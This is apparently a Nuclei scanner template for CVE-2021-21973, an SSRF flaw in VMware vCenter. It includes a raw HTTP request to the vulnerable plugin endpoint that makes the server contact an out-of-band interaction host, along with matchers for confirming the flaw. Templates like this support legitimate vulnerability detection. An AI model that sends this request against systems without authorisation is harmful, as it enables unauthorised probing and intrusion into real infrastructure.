id: CVE-2021-21973

info:
  name: VMware vSphere - Server-Side Request Forgery
  author: pdteam
  severity: medium
  description: VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
  reference:
    - https://twitter.com/osama_hroot/status/1365586206982082560
    - https://twitter.com/bytehx343/status/1486582542807420928
    - https://www.vmware.com/security/advisories/VMSA-2021-0002.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21973
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-21973
    cwe-id: CWE-918
    epss-score: 0.58402
  tags: cve,cve2021,vmware,ssrf,vcenter,oast,kev
  metadata:
    max-request: 1

http:
  - raw:
      - |
        GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
        Host: {{Hostname}}
        Vcip: {{interactsh-url}}
        Vcpassword: {{rand_base(6)}}
        Vcusername: {{rand_base(6)}}
        Reqresource: {{rand_base(6)}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 500

      - type: word
        part: body
        words:
          - "The server sent HTTP status code 200"

# Enhanced by md on 2023/04/04